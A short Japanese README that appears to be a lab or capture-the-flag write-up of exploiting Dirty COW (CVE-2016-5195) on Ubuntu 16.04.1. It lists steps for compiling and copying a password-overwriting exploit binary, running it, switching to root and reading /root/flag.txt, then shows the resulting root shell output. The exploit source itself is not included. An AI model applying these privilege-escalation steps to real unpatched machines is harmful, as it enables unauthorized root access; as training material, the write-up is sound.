dirtycow-lab

Ubuntu 16.04.1 における Dirty COW (CVE-2016-5195) 脆弱性の悪用。

cat > README.md <<'EOF'

🐮 Dirty COW Exploit (CVE-2016-5195)

📌 説明

このラボは、脆弱なカーネルを持つ Ubuntu Server 16.04.1 システム上での Dirty COW 脆弱性の悪用を実演します。
目標は、制限付きユーザー (student) から root への権限昇格と、/root/flag.txt にあるフラグの取得でした。

🛠️ 実施プロセス

1. カーネルの確認: Linux 4.4.0-31-generic (脆弱)。
2. エクスプロイトのコンパイル: Docker ubuntu:16.04 内の Kali で dirtycow_passwd.c をコンパイルし、バイナリ dirty を作成。
3. 転送: scp dirty student@<IP>:~/。
4. 実行と権限昇格: chmod +x ~/dirty && ~/dirty → su root (パスワード dirtyCowFun)。
5. フラグ: cat /root/flag.txt → 4GEEKS{Y0u_G0t_R00t}。

✅ 結果

root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/home/student# cat /root/flag.txt
4GEEKS{Y0u_G0t_R00t}

取得したフラグ